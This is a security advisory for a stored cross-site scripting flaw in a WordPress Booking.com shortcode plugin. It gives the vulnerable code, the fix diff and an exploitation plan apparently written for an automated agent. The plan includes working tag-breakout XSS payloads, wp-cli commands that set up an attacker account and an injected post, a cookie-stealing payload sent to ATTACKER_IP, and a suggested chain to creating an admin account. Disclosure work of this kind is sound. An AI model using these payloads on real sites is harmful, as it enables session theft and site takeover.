Surbma | Booking.com <= 2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode
Description
The Surbma | Booking.com Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `surbma-bookingcom` shortcode in all versions up to, and including, 2.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.1What Changed in the Fix
Changes introduced in v2.1.1
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-1607 ## 1. Vulnerability Summary The **Surbma | Booking.com Shortcode** plugin (versions <= 2.1) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the `surbma_bookingcom_shortcode_shortcode` function, which proc…
Show full research plan
Exploitation Research Plan - CVE-2026-1607
1. Vulnerability Summary
The Surbma | Booking.com Shortcode plugin (versions <= 2.1) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists in the surbma_bookingcom_shortcode_shortcode function, which processes the [surbma-bookingcom] shortcode. The plugin accepts a user-defined attribute param, which is concatenated directly into a <script> tag's src attribute without any sanitization or escaping (such as esc_attr or esc_url). This allows an attacker with Contributor-level permissions or higher to inject arbitrary HTML attributes or close the script tag entirely to execute malicious JavaScript.
2. Attack Vector Analysis
- Endpoint: WordPress Post/Page Editor (standard Gutenberg or Classic editor).
- Shortcode:
[surbma-bookingcom] - Vulnerable Parameter:
param - Authentication: Required (Contributor role or higher). Contributor is the minimum role that can typically create posts and use shortcodes.
- Preconditions: The plugin must be active. A user with the Contributor role must be able to save a post (even as a draft) and preview it, or an Administrator must view the published post.
3. Code Flow
- Entry Point: The shortcode is registered in
surbma-bookingcom-shortcode.php:add_shortcode( 'surbma-bookingcom', 'surbma_bookingcom_shortcode_shortcode' ); - Processing: When a page containing the shortcode is rendered, WordPress calls
surbma_bookingcom_shortcode_shortcode($atts):function surbma_bookingcom_shortcode_shortcode( $atts ) { extract( shortcode_atts( array( "param" => '' ), $atts ) ); // $param is extracted from $atts['param'] return '<script type="text/javascript" src="https://www.booking.com/general.html?'.$param.'"></script>'; } - Sink: The
$paramvariable is concatenated directly into the return string. Because it is not passed throughesc_attr()oresc_url(), characters like"and>can be used to break out of the HTML attribute and tag context.
4. Nonce Acquisition Strategy
This vulnerability is exploited via the standard WordPress post creation/editing flow. It does not involve a custom AJAX or REST API endpoint provided by the plugin.
- Nonce Needed: To create/save a post as a Contributor, the standard WordPress
_wpnoncefor post creation is required. - Acquisition:
- The automated agent logs in as a Contributor.
- Navigate to
wp-admin/post-new.php. - The
_wpnonceis present in the page source (usually in thewp.apiFetchsettings or a hidden input). - The agent uses the standard
wp-clicommandwp post createto bypass the need for manual nonce handling during the injection phase.
5. Exploitation Strategy
The goal is to inject a payload that executes when an Administrator views the post.
Step-by-Step Plan:
- Inject via Post Creation: Use
wp-clias a Contributor to create a post containing the malicious shortcode. - Payload Selection:
- Attribute Breakout:
param=' " onload="alert(origin)" '- Result:
<script ... src="...html? " onload="alert(origin)" "></script>
- Result:
- Tag Breakout (Cleaner):
param='"></script><script>alert(origin)</script>'- Result:
<script ... src="...html?"></script><script>alert(origin)</script>"></script>
- Result:
- Attribute Breakout:
- Trigger: Navigate to the frontend URL of the newly created post while logged in as an Administrator.
HTTP Request Details (Simulating Preview/Save):
While wp post create is simpler, if testing the UI flow:
- URL:
http://localhost:8888/wp-admin/post.php(for existing) orwp-admin/post-new.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body Parameters:
post_title:XSS Testcontent:[surbma-bookingcom param='"></script><script>alert(origin)</script>']action:editpostpost_type:post_wpnonce:[extracted_nonce]
6. Test Data Setup
- User: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password - Post: Create the post as the contributor.
wp post create --post_type=post --post_status=publish --post_title="Booking Search" --post_content='[surbma-bookingcom param="\"></script><script>alert(origin)</script>"]' --user=attacker
7. Expected Results
- When the page is rendered, the HTML source should contain:
<script type="text/javascript" src="https://www.booking.com/general.html?"></script><script>alert(origin)</script>"></script> - The browser should execute the
alert(origin)call.
8. Verification Steps
- Check Database Content:
wp post list --post_type=post --field=post_content | grep "surbma-bookingcom" - Verify Frontend Output:
Usehttp_requestto fetch the post URL and check for the unescaped script tag:# Get the URL of the last created post POST_URL=$(wp post list --post_type=post --format=ids | xargs -n 1 wp post get --field=url | head -n 1) # Check if the payload is present in the response # (The agent will use browser_navigate and check for the alert)
9. Alternative Approaches
If alert() is blocked or hard to detect:
- Cookie Exfiltration:
param='"></script><script>fetch("http://ATTACKER_IP/?c=" + btoa(document.cookie))</script>' - Admin User Creation: If the target is an Administrator, inject a script that uses the REST API or
user-new.phpto create a new admin account (standard XSS-to-RCE/Admin chain). - Attribute Injection: Some browsers might behave differently with
srcattribute breakout. An alternative isparam=' " onerror="alert(1)" 'if thesrcURL fails to load, thoughonloadis more reliable for<script>tags if thesrcis valid. However, since we close the tag in the primary strategy, that remains the most robust method.
Summary
The Surbma | Booking.com Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `surbma-bookingcom` shortcode in versions up to 2.1. This occurs because the `param` attribute is concatenated directly into a script tag's source URL without sanitization or escaping, allowing authenticated contributors to inject arbitrary JavaScript.
Vulnerable Code
// surbma-bookingcom-shortcode.php lines 28-33 function surbma_bookingcom_shortcode_shortcode( $atts ) { extract( shortcode_atts( array( "param" => '' ), $atts ) ); return '<script type="text/javascript" src="https://www.booking.com/general.html?'.$param.'"></script>'; } add_shortcode( 'surbma-bookingcom', 'surbma_bookingcom_shortcode_shortcode' );
Security Fix
@@ -5,7 +5,7 @@ Plugin URI: https://surbma.com/wordpress-plugins/ Description: A simple shortcode to include Booking.com search box into WordPress. -Version: 2.0 +Version: 2.1.1 Author: Surbma Author URI: https://surbma.com/ @@ -17,20 +17,29 @@ */ // Prevent direct access to the plugin -if ( !defined( 'ABSPATH' ) ) { - die( 'Good try! :)' ); -} +defined( 'ABSPATH' ) || exit; // Localization -function surbma_bookingcom_shortcode_init() { +add_action( 'init', function() { load_plugin_textdomain( 'surbma-bookingcom-shortcode', false, dirname( plugin_basename( __FILE__ ) ) . '/languages/' ); -} -add_action( 'plugins_loaded', 'surbma_bookingcom_shortcode_init' ); +} ); -function surbma_bookingcom_shortcode_shortcode( $atts ) { - extract( shortcode_atts( array( - "param" => '' - ), $atts ) ); - return '<script type="text/javascript" src="https://www.booking.com/general.html?'.$param.'"></script>'; -} -add_shortcode( 'surbma-bookingcom', 'surbma_bookingcom_shortcode_shortcode' ); +add_shortcode( 'surbma-bookingcom', function( $atts ) { + $atts = shortcode_atts( + array( + 'param' => '', + ), + $atts, + 'surbma-bookingcom' + ); + + $param = isset( $atts['param'] ) ? $atts['param'] : ''; + $param = is_string( $param ) ? wp_strip_all_tags( $param ) : ''; + + $url = 'https://www.booking.com/general.html'; + if ( '' !== $param ) { + $url .= '?' . rawurlencode( $param ); + } + + return '<script type="text/javascript" src="' . esc_url( $url, array( 'https' ) ) . '"></script>'; +} );
Exploit Outline
1. Authenticate to the WordPress site as a user with Contributor-level permissions. 2. Create a new post or page via the WordPress editor. 3. Insert the `[surbma-bookingcom]` shortcode into the post content, supplying a malicious payload in the `param` attribute. A working payload uses HTML tag breakout: `[surbma-bookingcom param='"></script><script>alert(origin)</script>']`. 4. Save the post as a draft or publish it. 5. When an administrator or any other site visitor views the post, the browser will interpret the closing `"></script>` sequence, terminate the original Booking.com script tag, and execute the subsequent injected `<script>` block.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.